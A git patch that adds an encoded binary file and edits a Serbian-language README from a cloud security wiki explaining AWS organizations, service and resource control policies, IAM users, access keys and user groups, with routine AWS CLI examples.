zwslh*6;1vYhd2@>=R~Mx`O%$dP$83^-g$Aa-?65A99!;Zdz@|q3LIySPI~472zaO-W-_Yo+3Z0}zQN`KjKyh3T>Z7XK z=H}qbUOMfS?Nv?OWy#09B$-5B0Ph=@*d9{`6=^7s!7Dm#r*g=3g|mf3o2JrQU`+K{ zSK7qqC>HD(UF~~#QOuG4Xt=2Y^<{H^xTs1qdrQwrMRL-C4_Rivs5ei%0tMdLbcLBZ zl?-f<$vR+!lE*jK%InHKlQA9KcvfNg$TpMonJcYfbt*IqydVsMaivdPv-R5KmSv!q zMb+}9dP9FDMy{x{D#84N6tda?CAL`68+ixZG9`P^Q7!Q4UW53pXI}9E5oWz!8S0$^ zD)Kkg1A#-v_e5GYQPM0MI#(E_{Cw6Ln;HF_M{wySq6SXk-9Gnyt?y$(I20XY@4gB& zyK-x^@|?6)*?#VP<0a2fyXVk^i}s<_jPt=zgAApK1fPPfiiQnPYwnIThQ-gPXzWNI zbd1JBq6NCM8*DOEw~YJU!1+bHaTu(Osi_lSu_w^AS*hGPTUwb=mEA|E_2abCQaZsX z-x5R-`fbi3_pLno#CAnBeJ-1py@*%IW3X0eDbwrM+!N_VKE+#%Q{fXzX;{B|zr~}Va_~0zF>0H5{(K;9k+hryt&XZ7 zkCi#5n|Kt93yyQg?Y$80G-u;D4&}~pBIHG)oTCEXWLJA`Wl)-)^?A-QT~!o~d-&8$ zPZC&H)W>8@Yhd7^VsizdxmONy8j^E{$@oNq%xn1#&-D4oVx*~(p#xdya$i`~ez5xq zzyfH@j}1H&4|$W~UG1D@x}o)12)ba)b3`Uv8|;y)TS4kJcQoNRJvp=v46ykEHEK&l z0LTx{b}dZU%0XJ8yrP{(>fsY5x12*m^*&fUe7>LlVtAaK;q>pY{c%)aLN8PmxMfys;6F$pVryRM>l%1Go(Obodt6Z%OSwq2C zTPz37(Q`g!jwOJhF`iL`%IQ9CI2I-=iA!5-kIJ?(roKxW>U#>O#edLB26ZO4{sKBP zyYh}4_(K*ijjeIcDC`v@HzL@B$G{xEVyE}k-N6)3B(Xj*6s$0RYC&}N2 zNU%7&;5QMY*OUe}c9@F;Ah@V6qG?#bO%XEKg2w<@E%bMw)YK{IGG>XpO{C1JLw;8= z`hNL~8VPsky#4U|VdO7K{PX^B6*ftG@x(g#_>5#x^EqWC+kp0KgN^-2jMdOYX2-%| zwoZn-xBbGbBCR=?A`UbuZH9=Os6I6uz1B76MY*oU>i?bTFP+X>U~d$uo& zD{m7gq2Ad|-&b$g=`k5i1Wr!S^>mw(;;7cL0ayrhqJh9#w#ZN3+{$`GKl*mxo!8RL zgPxRn7tQ#672mlMP0X_K!JM{t@x@OHas)LywZkYYVr9;P;zAivs!DA2_KA`5C`tWb*euqE z?qAGAcv;d~t{>>AuG`F4QF1G?h_g3Yos1lb>J?1tv&hfrx~=2-50K;x(}}ZArPKoZ zjaKd}RKK2Wu5%-B1qe~*zkn1$N)e6l27}Y>+InSYuFUmO0CJzX*$zEp4Zj$OjV30E zIaaK-{_+MXc|O#;Grlr?rDceQ9)m*aFF>v$jVQh3CLnjN_#rE2&o1mEia+`P>k8Rf z&*qoJzXfidMe^Q9w*E8zgTfA&S&A~Z%YC9Hl>fwrf6qso{!`VhVnoefb&7mN04UTpeP;4tZ_%9J zIgub2keEeBdag+s&`q>3U#Xa*N$Ox|WNDOjV=cH)%a3j;#mv5mZ`*+=^ksUah#@#E zhx%A3$J47hl8IjD3Dk(_^IWweSI}LV+z@(%srb0sxNY=OYfdXj55aA;-6mh6VWk>j zA87sQ$tU6RxJh^dgAU!8Mz$hpT937yLSIV8byPbJs`o--C=w-(kYx4?2wH*B#Nivg z>F_G(3FlMV-te7`Mnf*?uT0#Bk`(cLR{}Y_KeQRjW?kWh*fkvoB7z%Wm#e0>5o;u! z)xJ2BZ5=)?ZJpaK>aibYRR(Vzjf#as=iA9YD@Um?*cWGR-4I7bVJnj^WfR81ah7v4 zjZ1CfG>-hU*tGGqytRExuZpb!QkE853<6Eum?l-^Mm7e0keP|bN3#MoLE zG|4SaZkXO;G#C+6PT8E5vve?;h){^eSi6hkd(UR$=IJ0P-b>4`GV~f?P#51mmGP z=(GKRAhoLm&U)m`kKPUaIF`uK6k18RgLyB`;SNsErm{+@5Uv7RTu@|vW^LM0GH7qH z!x`{CL@VZb_=dLUPVvg`=?HP-qd_5@NgL)Q#MbF?0TBb^3Z;A7Vr{xN;4LwRog!;M zw?52=GxZ21*6EUso7s&ZjoiE0zUK>52~}#4>l|NMA*R+s(?!)52p@Y}==>iH?`e$e zyD-t5AlqA-g-j{AX2A(uB1PSVwk(5HE5581sYI&FUUMmd`|ylwEimkoEDYTnd*zElM4d(q@PJKet2)f-NS-9RI9(k~FqG7ZXB~;L z{}gHq0fk-%jH9ET9G1IzQTk~Fxw>rc<6#mJL85k{WHHV3y$vY}Yxz1lz|dyCx227x z#l)A7$6tSjt5#)hIPT^}Tf!+kxl4XVzS;v@b(BTd0Y|zFb)||@u)4E)``sbzYr}hV z$E)EhXLTGL3mo#Okp|>A^^?ZsVb@7N!z&sW4wGp6DTgqU`1K}N9#wIuKJo(cFtwwQ zk=dRXV=u3yq~v?@Tj9n@_|cx-Y!4X%Uz#CWA9*|d>lYj4G@Pra>pZfv00!7yWGu@m zg@@kwsbnC*ngWL&@0aw55vp0RePFjM>B%Tl9@G-vz2FLhskT4p3B7Oh&~@J6bvFq`8&ctTypxS`h-?}!IovLnQ&Y|| zZtNbB`WB0giXQNeR)mMQFe50xT~jWu(awGsHOL1eZvfOtkPf!vD=;^Z5>9uEKE702 z7r{;<`&PT*liTR`w$kMhT}zuI!*PK#6q#L|(|RV0dJav^(s6Ovvj{51H-&|f1*5}k zOglNivtQ&dG_;q|tOuDWhqKJzT+yq!SoILyufwL!M9OU0|Tv42U+nJOeXx9RSdVSHMa&C523CB_+}8`0^;1yr)X#1Z7|?eoCK z+D)lq@2D0h>(t*>-F2jM10ahp9l>qofm~!H>)HU6`Nf_xFCB&oAh8tSaOoqnh$wFd zhVit_H9?dd();)5{0&Ct)yz?sRiZ0t;he7(QgXHu?97eIGdVpYU;_{Ud9CcwTULXO z!Mr8}SMr{)JkdVae&oUux(VkLcZCN7v67UV2ePUQ5nzhAqqR&I1QA;6%Ic++!_NI- zaDeo!Iuf2c_%FDY-{$3IqYJJ1ai;(Y3=Q?+)$Nwf(&4Tx>TRYZ=QYUXP4;Kqj zz~oV^HNqI}s^ZO4-d3Y`qC=@0nG}uW%e)HxB8abOs&6N0yiNFfv(f-c%S29|(M}=e zg*?;lDaSVsUf^%4t-9DZlhHvnEdh?(5#tR(%&R}d{t62g@u?;X)Uy(3p2kFRFHX1ev*My=)$<>wHJQpRj5#%B82loe^!Vp_BKG5Rmy z)+S5Y_zL0*bBPYK^iCPZ2!-GxFg$Vpa_TkyORN_{%%=b2AAUXd-<4YZaT!nluwZ?P;ig%*NdUy{hY ze4Cz%mDbk4LrPUw&Gq1F5(YASgNn8^q36SjDVM%d!s^XYUa4pj^8P&L)64pfo;MW7uh%nJ;9*IbxiMS<@Cc+*HA_msBWZ4^}lYx#i+} zv7OR+#&1K%5Q$sQ!(}tAyOuBOJ6Ry_!3hn$X) zvPQY2910;QEoYntI7{3|>^DZsK60|TPLW>m6L9I)Ej0t>Gh3wq(OU8mC z^`O*I4Y1MLV*w&XuhY8$!&#MR8XdIt9B>J%6``&1v@IkUuxT;N2k9t;^D)0vr^DY7 z&@cWZp=~D2K~-X?SN7X>nby2JENpYDVWOzvz+Udhe7Blruk=pm=vf?y`4Ws_LX_sR7Ji8{w~RqsjO#bO(yAyIHePL*Ry zk?qD;J{PwVfF}1vm_(1KJDSJ`2RHkvh(S|q7E%P5ArFlIQ2GZzP}OCl7wE4oeCn6` z+n|r6uz+65@jbXPAy#Ip{!kw-!-BUSAS9(mIbz$ScLGC$ku|M`a*@6tb6OXtdL7We zFoQYO@piB?1z94s5+jlm!2BUqjoo zX{KgW=Z6MBs+;>f1Q=xX7oe~8e!`~ziR@l=zu6cd0Pr`bmJ5FvG}Lv;jpziF&?|JZ z#@wi+g@^qG>>g;H0g|Qjh^+9|OUNNwk?o@L5V?Dxef=oC#G!}(=@Q%mHBv3Bxw%ARE znSWFZ4JUKQ=qZp}mG$-vQ_7H&#?;Qi^{dAkuWZEW8F{Y!zOT6^Rf#WFpbzgVd#~5F z)HoSXR52Y~&6dQ@R%^hGd0a&<9wcz0D`10JQpeC1@B2sc;|rekWg;!o*Q)5! zL=^;mE?;Pg5sZx3>CV2y6PYV}mh)tM@s1BkDyMfq$9d&lnAC4wR=XjOs&yC84{WOU z-&e`GC$Q@w4y^TXBU1ldCyb_<*ll)zrW0nnP)6J=!exC$x^qqE6z!h1W^i6BRuxdY%`2z;GQAsH zbjkfE)iDc333idG#V@&-A`AP#!DYIa@>P@~qorKmHm4NJ6ix8IXl!b~x%d2E4GCt(nbOSUIDj&qNYVswbRn& zJ2)~Oo{6dn^d}3sczjHNrOlm{AJ3XbHW9*)Bb$Qk;5;yn`R1QP%)%x*@#fB^%WTT` z#0z~kS~?jvdY6xW?8PdBQ{=^)_fpZMOvds`Ba04rt`&GZzP;R%hYrNWR|~o{!#FDJ z@rm6QUe{3w>={NE3(?at^$2=ZcKBzCP>m1bP;Mz1L5h~atqen$vB|i>D%6I@a(@00 zG%teso~P|;GCZaZjhPb&X(*~1)x$|e6Td>?bub@NaVBB=wr}gjvvR&qCn_B+Xh1?0 z5O~9DdvQzA+Cqs!&t5jcDbU&K=L4Tc`~eO}yxp?zIutM_smz$CWQ!=5_!hM;A}`Hj zd{qd~WZ7YbZ7+c_J^)SsqfIJDZAE}U(mUk(P}#9ZT*N~wbO)7L4Uz{?l;5gpBsVB4 zVBs8mY$xdv!D~;d!=R*#@b{cupKK^qpHkN$w-gFPNr)ebxQ6LGfOQaK-hRe%eM!0) z<@KO)u1OuLl8-xTjd4HY|1gKhxWCu?Yd9$71vs;v!du6*J~;P!Apx<&sb<#g{I`+l zcnw5ysQ7zaJriz22}gp+dmbvdx(u=^;0B?d$MR3Q#OUPw+1Q zKWxrBJOw$FYje9A^jI@#BY$@EUMv27$P3GK1GN>iI3NUOXriGH0|Ue=mg!#;<0qk8 zRHUtcC7193b5JA-?E@MF&}xe^&BjF6_-Vsi;fC>zhOb!I2K{vLRZyBqj7TQ{g|w=F ztfF!tx(Iq4}?!A~U#QYl7<*K!hl+{6;La3(qLrE+YPIodbT z!0SMzp+^6y>N7Sx7b7}`bQOp&{&+XaJIViIWADRaE;s$;XVycf-J+A+Jj|pWsEo@R zzQAV?6yG5?M~Ql5qAJysR0R9Q{Bg#iuu%;zeIun3?7>o+6Y8uuctCl@iJ^zjtzuC+ z<2qG4eBTMp95toH59m5+==3>hZ!7h_>Wx(vEE$E6sr>~pX$$fQ<*sgmFt*;~$1Tw= zr$uBO(c$#^JoXc0C3RmzR7Fm8IufV7(hA^a<85ZO+aD>Q)x0YO!p@-@#fz(rPOp`? zeW@F-{Xb9ID(D#CzweAp&8MphovER~Kmu-d$;IL2OVO-;swt=R&7J&#d^v{{&wenW}Lf-b?_aZmm~TDET|xSU}`|=AoNIZ(RIEI zH;xl>%KaaNDI^=%%zQctG}pmg8zyz%uJw;Yslc?h*e!BiG2TZ?ST^-}<%;cVgf<_( zcv~@A7f#n01l7bHH-1+cq=Jec-YLnjOuZ#bg+XF;oFHdTu9zs}EJO%K5!`W$1D)f* zvN~AbM!sVZ7y~VCd5xM|uV}>qM0r)6aSXw2>Bb{u2cYqD5s(VHFx+sB%h*^#hf%dE z&cP7LMR%3?%O_C8P*k!v!9!poOK z(b6JbMFV985>zTJTh2WBq_rZu_@fwPtXHyR`!%Lj$ad1>yXr|%uoQ`3eIk!b;Er#Q zqAC;~narC1Ed^LS?VZ}!Cqx+<8GsM=+U%m2oDjO%9@izFapdvMgD5^ZbQ(+e*7)2O zW2F>!p$yMjviic^U-{D)e?WN)giJLq5Eb+ycQ><-#QghT)=<<(R+t$Gz$=j zbnLbC0FfPs`5YTm#tt<81&C&hN$m=3nxt<-n!f=K@+*FJ{N(J3be~+faSg&I5fzE% zu#VyZV`UhGYH0eF0jg)GqDD}N3JFhs#uBs|L@9}&?~Fd0a=5YMh}bHgryErif3Bm~ z&m$Pv_k4j*GY!En^)w9`{9hnCF2LRet3tl$a|y9Vo2D~h9Z!tue9Jp}{^|GIZ3{K# z0UOVf(c;;$rWKb^$Ia!|#XY+4Q}H727i`*3>0+{}10@{6)8(4yRempYC z^UJ)x%rQ_8p(xRXgF-4uv;*-)05o4gpK#f>znCy^z^_B1G*kU{=s50VWbA-CzP(E( zmrm+Exjxdy7)1r&*lQ`CSH14CPbLhE91gq9KQtx;?D;XsU(>R>9QsQMa7`=o#l)5! zuc47@4NZ;|@Z8eCp!v+sPacZTz>fLF#kvawk5yIg!(ZC;*&}OA66K|I!>X2Np2h zVDZI68$vc3G2US$f%NrKAmX+eq8--O8r95x8XWf$vA>n~VaBm4-@gmPA9YjTtbzlg zOp+HWvfcYGQ*nsO>k2XcOvGv#-K$hvfVb)wPRAb~JQxb$H+cKU3aOw- z-0JrWk|*X={lt8zVdyKP?$t?Rd^b6!Dc1KkOx9lT<-UH;W&gk`>G}g=Zrgp>IZ6Aq zxm{LnXjk;|g zauR2B3{vA`0v@V3rmoL;zRZ>!zw+fcu(Mst7pY}Ar0hN|rL-=)_Od*mmD}b11uRF> zqsib!(jzFolF_W6C;#Lrq_^>{l6riR|aC z@<+mstKwVD%4{Z$=Ic&-rhErP#2F(N3jP9+E=)r9%DP5ME%aoXh)SsAEr!L2yOWGA zC5(s=*-kQ)&vff`!5)kB6~i~!6czir31Z=XJJO0Ti(93rSR`;8w9Or2oOJU5~oYPTsn7{3^VoS%%JDh7N%*1E01-1gQlg=bftUb4pp)# zY+RL?-3qcWwx!oDJA?Z=2ix~mLadXY(lsUKNgQkOq@1uXf$PC>3*rZJN{V%8 z4&m*&KHa%NjQ|Xk>2sJyOsNsNOW9nDmrHI@A4q>v%-EpIHzaL9!q(*s(~%I*N5dVG zj(wP9`Kz)vR^qS(Y+u|LuYaBOq|IB{a@xm`nTf;f0{fBtU&B)k6bWW~2&&q|ywNkB z!Rp@nv#$h1;|^cfqa9wi2EnQ3miX$=ENwM~rG?%s@zwre2@WeLwmT(%PzcT`D6{*T z^CCq9aH}sVW}&r<fWBo7Fk+tWH_b-2H)cJ81h7y(L zC#n7^v`R@bAgR9JHo81|3otaA0@$3TuS2zGZ5|Vd7n`P9RR@n|DP7rawVEs=8;nmH zp#zx;_8LIN+l@2!)vQJwbZ(;#TYLfO&;h>#d?UzXnL_riWtiH6k#+Nv_J5#C)7UtS z%Z&IPp>+;p%C+*#G8}{k?k;&S(=acG{symY&#kgey)m?1p9=Auso_bYU$PP;CK;t@ zh7;&fGy|Cwy7)80e~>T z7Vjj~0hFkps!|%{v)wrklU?`m+}9UNPJngAZSkNggBERfrt#~PhHpK~gI}Hw62k~8 z3A4So>F}p?sv5MZh61$cSba&5n)V~kWq0wFN871L@Cy$|^}e`c{jqM_)KB1gMR#fT zr`qLUHY27kDo8Lz*n%A{iElA4Rra;chljON17ILV<;numU5>--=*N+=*MwCLW{2Eu zq7ly*$}QpehEGVj097yh*B(jD?xFomSRu{c)wC_aUm@Kb3>R2bD)p+^@%l=_p8MSN z?5r{$$+$t#P4uF3j}+w*GNhvt4F(>!p!nPT56U^4wWJNvt6r`P4StDNIzI14XTfIE z{6e*$<@8FS8e@=??}se&{rzwYzyL~Yu+smRU%v3a6Swa}FF06VW(>~&UC*iWp(DhL z`Fktf?ycDkHD;uG&kmtrNO6ZK4Z$N>I<{OsajYUk4M}qpSA03Iuv(#CyDF)m57Hl` zoc8tQ?oZZNsjyI9T~;@j`}C#~73`9slM{e-__27>0o(b=U`jy5H^xmcrY*%8v3lkw zK&@ek#_NhZHJZd@6DBIml>Mw+ei&;sg~P$LN*>JzG98ka+rSMT+6IB&w%{*#1U80- z&Cz?i(N6w@I$}9k;|8UN4)6|mJv#=g>Gq@>`n*^r%A8_cpHbvyd(W)LU%=o-R-cu- zi-9t$VuZ(+##8y4QLJ6&K|+Aqo;%x?;_rJ61wPgfH6GbHarUiyJY);c{fG?pN{0<; zQ8r-b?EalquAriI`6?$tr{48~cR(yl?qG4IgtM9qmo}Kcx|CLk_M3YKornqb7?rdX zunQ^)Ns?1zH5zIPS^qJDklRHupxhP^>R#H9r+^e)c(=S;f#AhjzWn%lHGtOe@SR=i z?f=isSQU2C?SEsF&=zGTa2TtHW1pjl7zzPXvr!h8<^?dmTEO#liX#})exEL7@esS{ zAq}Bd!IzkcaZj~nioy>hFgG#NpkgaZaXTTL7S9HemVIBO7b2>(sO7D|16Pp3Jm{U* znWwVAXfN=J#Zt-F7lp_?qf3XCxzpoFFIBQ2Eo2dzPJO<_XtL7M6t>@~bsEa)+6@XX ze_%kCbgG@-pW`18v})I!$9f*8nuMSBK1c(|!ZKZO=S%8%MMUKsj~D-Lv8#4muPW*Pv!(l1SkiAcndCgXt;w4T&NA%EXsTmSwp3nUxq^*1-_H944E;6+iccB+Q5ji!&jk8ANE4+#>h zx*CykV;{_UtnCPuuNVF##kaxH7})ZBCBi(rUt-a$BI_%-&B0|EHQME|tzRuY)ML7p z#jrP6^zj=n&qXlT8fKUfeu7=czzxuGv9!TNh$#A#OLqdKQ&W?pwQ^#AFNuTQ4fv}pQH>yHw11pb`DgaukG`OS&( z1F0L2s^rb~vv8u;iree^#sB4HsnbY}RgS4XwT#z2FTLz>Gr8+vi_VeGU-R-so3Fhg zB8cV^>$B)J0HcYZ4{C#s`!5=JH*xQIf^kioxexBn`JTCho94dWp5s5)-|-`M8W41Q zA)U!r54Rt+kDiasM!v7oKE1i)Fy{>&{u+!mDn1$g~)hkrUrBF=UB3y68l38C#beE59F^LgX;oNuL{`%aLD ziSPtT3z(VtWtH2vZ7a#>Hvc*svho1ueTz+d38fOWFgSqVMkjtuFln-1pM7UL>PdPS zY9sn7@Q(UJRvqK#Tds?AlsetXODxbdt@JXD+P1ssrGZQRn826pBA*{#cC#S1@2z!v z8OiQ3$p-GWXuug+dm-?WnVBD@wpQb6T@^AK1i9AfGd?*#J-49SpYVlmCT_vc?y-GR zQ7dPx$i~V`^%7@z6e8GID<|hz9m}ZLc5~gycnP1NW_WZn~60=p4&Z6(wWh+Xo3}8x0Ybb=(PH^3ABi2PFK_N4;|xwtCL8#w0yfb zNuX^Bb8U{LZ1!B6&M1B1{2VnC<_3(Qg6wklKojHLgWir~h*owQzK4LG&$czF*?iCU z4o^{Tfoz%EewyhGH{LzzM*mk!4S#k*+Zo$p&NB0A6$GPw#TKbmKULj6Om!=}wVtnShMDGT1;?l>1*+d(Vy+2k;zy?(k0dHngSk(ycq@?D z@TdG?IxO;4Q}EuCUA`KT&YXt(7cRB;s$#ppqWI#3T)qw37oK2QDCR+5r z&#Ecgr>SUk63K7VbppFHF3qV3r&iq|h?xH8T7G+RCQ<16OIe8ghY*?y{z} zhFypv6eCPhQrsf6HCnWIuwjws@!|Cc0Uq_&!dyvY6>VH(j4K#A(p>1$03ecV>1>%u zPpA;8d&c-juMPjR(&7>JQxBJ>N?!2dj%WniS7p+NI0UW5D6rCrVZtDa7Fyp&e_`!7 zubF#h!LU7&FZBa02f4;4cDw{G-T8xUsyr{eG5=FH8AY+UtSW6Jsk}1xB1Wq}aq|hS zbDVk|3;@vhzfbPxpsCmOJ=!i@jjVri*;yUWD_&`gm!4$tv;VGUg9iz`qqi`dGN__8 za44$G&|3x^18nQ|jmlMpBAhgb2^rpd^L1*DR)dhWk!^g zkCUAKg%NURxMVD`Yl}s*woXh%4{})sSm3(nMw%Sg9M^(R?W*Nv+Dn{>AM4ljp9o?4 zS9~9H-l*1N{jd3-L!3)uC??ZKhJ_N@Sy5$lWb!>UHUo0YRns#M!+R7S)Mx?^L(*ws zSx%-t#MGE3cH};oSyCy%vWptmouU{$wb__3o#hEvlHQw<~HSn}%`wv@&pb^h2O0F~-~ zd%Z1#HbWE#xC-0+@Ue*3#~@VgV>%!9^=R_IRJ z(~or%$FnDRSkhH9z|Lcp8Hi!J$;-E3tz!5zZ0f5wO!~37yKlnRLSnuT_Ax7MpG&Z& z-86BCTxb!a?x6fIq%-sR%g!C}dF=6qcWo!I?x=kN5ug}9Ci`ud4uYogfdU-zYO*mLcEQ{Jjq9kcH=`SzMgm>duf~{hwiBKO2gm zrf=gN$_|nS1E&?nFCd&n^SuKX(Phlc z<6qC&^miZ*-~H1cvHtfi+J6vx{%umwh$U&eiovx9d?$VmLeTarS@VuBeI^k8WgqN zs7|c>DnLC^ah`a9yJkd0^8dk;+0XEda>VD`pQrjk&-T+AU5V2oh*=X!s9Hl_J`ZJq zP5d0fnyOJgy+J+&6dhV}qX&UQ_ZX~K;1ci|`Ou7El{SzGi z3%SG;gv_VR3d6z&B9TyDJ0i-Vl4Qed$h$I~-&C?sz9?XGCt&f!B-%q0-Liv2sW9{v zoIH5R_{TzxR#ZOVESHt`g18l2oPnyAt7MsHnKnplZM6`#wfQqX-Ngx<7e-+X#3+D_ zRYMnIQb%I^k-Jk~f*_1})%un` z2+mnV;$lYA8#BYE7Hj;G=SXHjG;Moqn(xpzLw8Zx&1}RHYFO>FAQ2w2bk{xPe ze49nAH`IViYp4Qu_;CQyD-3X-Dl8gIE9ep6RQpMHMvh*dqi73rj5!TJ3YycH#vKX~}K-`kpmjrym&4&7PlgnM1vZ`rLUF zTmXd+3cu-!ZwCIK0Pg}2{RrRAP!RDfu`0OB#*3f&6)#6^FM^sy42xKmm0pmI)v1ZK z6GMI>ngGWP76BPtn9^>d-&PKxGnBRY{{WD}gg2o@+fnkcz<4_*qOQUd4!~Nsh?{OW z1$A9Zkfo)H?Jq~rj=+VSzP}QPA8i*}J0D1iuF$3A+Wg@ltxrW!;-XFX+ZW?pCqc%Td3J-Ts&N+5=1PQVp4pjAiFPjKF?-NYCu?oA-|9*0ymzXlL8%qoR6sIem~r4}20a{bXQ zeU98rB&@4dZ&mXcspX0^rIvh{2WFGNxz*P-5_fPAEfYb+WDJhQv^L`yBmDei3f3vE z;u80P>Qk1Sxc}!3y;ZfVNz6g|Z_xOKlbZ00Lif={?V1f&k7O2SX1^>nGIT z;!;rT$j=#p0s@ALbr)8Xes1a(h$)Vb$MF8m~8)7Uilq=w3DvKYK(1qR3zMmsno zqBU{y!BRhUg#uw4D0BW|J_xEm^$p6-pQIiRQ=5#7i7Bd~+{hlt2a1yQ7O`Np{4pAf z5s!rc*j%z0%nf&$k=UU^sqKCO$y-Bh_n7soJDDFD#GVZylB-DJtHxqA7iRrpm$YGq rE+EJ8ci(`eSA>@kiwYlq;nN%tXj6&Qb#@D0pTiSIoV?xt0GI#S`~$^M literal 0 HcmV?d00001 diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 8655e7833..d2641ba35 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -27,7 +27,7 @@ Stoga, postoje **dva tipa računa u organizaciji** (govorimo o AWS računima, a Račun za upravljanje ima **odgovornosti računa za plaćanje** i odgovoran je za plaćanje svih troškova koje generišu članovi računi. Ne možete promeniti račun za upravljanje organizacijom. - **Članovi računi** čine sve ostale račune u organizaciji. Račun može biti član samo jedne organizacije u isto vreme. Možete prikačiti politiku na račun kako biste primenili kontrole samo na taj jedan račun. -- Članovi računi **moraju koristiti važeću email adresu** i mogu imati **ime**, generalno neće moći da upravljaju naplatom (ali im može biti dat pristup). +- Članovi računi **moraju koristiti važeću email adresu** i mogu imati **ime**, generalno neće moći da upravljaju naplatom (ali im može biti dat pristup tome). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` @@ -42,32 +42,48 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU **Service control policy (SCP)** je politika koja specificira usluge i akcije koje korisnici i uloge mogu koristiti u nalozima na koje SCP utiče. SCP-ovi su **slični IAM** politikama dozvola osim što **ne dodeljuju nikakve dozvole**. Umesto toga, SCP-ovi specificiraju **maksimalne dozvole** za organizaciju, organizacionu jedinicu (OU) ili nalog. Kada prikačite SCP na koren vaše organizacije ili na OU, **SCP ograničava dozvole za entitete u članicama naloga**. -Ovo je JEDINI način na koji **čak i korisnik sa root privilegijama može biti sprečen** da nešto uradi. Na primer, može se koristiti da se spreči korisnike da onemoguće CloudTrail ili obrišu rezervne kopije.\ -Jedini način da se to zaobiđe je da se kompromituje i **glavni nalog** koji konfiguriše SCP-ove (glavni nalog ne može biti blokiran). +Ovo je JEDINI način da se **čak i korisnik sa root privilegijama može sprečiti** da nešto uradi. Na primer, može se koristiti da se spreči korisnike da onemoguće CloudTrail ili obrišu rezervne kopije.\ +Jedini način da se zaobiđe ovo je da se kompromituje i **glavni nalog** koji konfiguriše SCP-ove (glavni nalog ne može biti blokiran). > [!WARNING] > Imajte na umu da **SCP-ovi samo ograničavaju principe u nalogu**, tako da drugi nalozi nisu pogođeni. To znači da imati SCP koji odbija `s3:GetObject` neće sprečiti ljude da **pristupaju javnom S3 bucket-u** u vašem nalogu. -Primeri SCP-a: +SCP primeri: -- Odbijanje glavnog naloga u potpunosti +- Odbijanje root naloga u potpunosti - Dozvoliti samo specifične regione - Dozvoliti samo usluge sa bele liste - Odbijanje GuardDuty, CloudTrail i S3 Public Block Access od -biti onemogućeni +onemogućavanja -- Odbijanje uloga za bezbednost/odgovor na incidente od +- Odbijanje uloga za bezbednost/odgovor na incidente od brisanja ili -biti obrisane ili - -modifikovane. +modifikacije. - Odbijanje brisanja rezervnih kopija. - Odbijanje kreiranja IAM korisnika i pristupnih ključeva Pronađite **JSON primere** u [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +### Resource Control Policy (RCP) + +**Resource control policy (RCP)** je politika koja definiše **maksimalne dozvole za resurse unutar vaše AWS organizacije**. RCP-ovi su slični IAM politikama u sintaksi, ali **ne dodeljuju dozvole**—samo ograničavaju dozvole koje se mogu primeniti na resurse od strane drugih politika. Kada prikačite RCP na koren vaše organizacije, organizacionu jedinicu (OU) ili nalog, RCP ograničava dozvole resursa na svim resursima u pogođenom opsegu. + +Ovo je JEDINI način da se osigura da **resursi ne mogu premašiti unapred definisane nivoe pristupa**—čak i ako je politika zasnovana na identitetu ili resursu previše permisivna. Jedini način da se zaobiđu ova ograničenja je da se takođe modifikuje RCP koji je konfigurisao upravljački nalog vaše organizacije. + +> [!WARNING] +> RCP-ovi samo ograničavaju dozvole koje resursi mogu imati. Oni ne kontrolišu direktno šta principi mogu raditi. Na primer, ako RCP odbija spoljašnji pristup S3 bucket-u, osigurava da dozvole bucket-a nikada ne dozvole akcije izvan postavljenog limita—čak i ako je politika zasnovana na resursu pogrešno konfigurisana. + +RCP primeri: + +- Ograničiti S3 bucket-e tako da mogu biti pristupani samo od principa unutar vaše organizacije +- Ograničiti korišćenje KMS ključeva da dozvole operacije samo od poverljivih organizacionih naloga +- Ograničiti dozvole na SQS redovima da spreče neovlašćene modifikacije +- Sprovoditi granice pristupa na Secrets Manager tajnama da zaštite osetljive podatke + +Pronađite primere u [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) + ### ARN **Amazon Resource Name** je **jedinstveno ime** koje svaki resurs unutar AWS-a ima, sastoji se ovako: @@ -98,7 +114,7 @@ Kada prvi put kreirate Amazon Web Services (AWS) nalog, počinjete sa jednim ide Napomena da novi **admin user** ima **manje dozvole od root user-a**. -Sa bezbednosnog stanovišta, preporučuje se kreiranje drugih korisnika i izbegavanje korišćenja ovog. +Sa bezbednosnog stanovišta, preporučuje se da kreirate druge korisnike i izbegavate korišćenje ovog. ### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) @@ -113,7 +129,7 @@ Korisnici mogu imati **MFA omogućeno za prijavu** putem konzole. API tokeni kor - **ID pristupnog ključa**: 20 nasumičnih velikih alfanumeričkih karaktera kao što su AKHDNAPO86BSHKDIRYT - **ID tajnog pristupnog ključa**: 40 nasumičnih velikih i malih karaktera: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nije moguće povratiti izgubljene ID-ove tajnog pristupnog ključa). -Kad god trebate da **promenite pristupni ključ**, ovo je proces koji treba da pratite:\ +Kada god trebate da **promenite pristupni ključ**, ovo je proces koji treba da pratite:\ _Kreirajte novi pristupni ključ -> Primijenite novi ključ na sistem/aplikaciju -> označite originalni kao neaktivan -> Testirajte i proverite da li novi pristupni ključ radi -> Obrišite stari pristupni ključ_ ### MFA - Višefaktorska autentifikacija @@ -144,26 +160,26 @@ Evo nekih važnih karakteristika korisničkih grupa: - **Korisnička grupa** može **sadržati mnogo korisnika**, a **korisnik** može **pripadati više grupa**. - **Korisničke grupe ne mogu biti ugnježdene**; mogu sadržati samo korisnike, ne i druge korisničke grupe. -- Ne postoji **podrazumevana korisnička grupa koja automatski uključuje sve korisnike u AWS nalogu**. Ako želite da imate takvu korisničku grupu, morate je kreirati i dodeliti svakom novom korisniku. +- **Ne postoji podrazumevana korisnička grupa koja automatski uključuje sve korisnike u AWS nalogu**. Ako želite da imate takvu korisničku grupu, morate je kreirati i dodeliti svakom novom korisniku. - Broj i veličina IAM resursa u AWS nalogu, kao što su broj grupa i broj grupa kojima korisnik može pripadati, su ograničeni. Za više informacija, pogledajte [IAM i AWS STS kvote](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [IAM 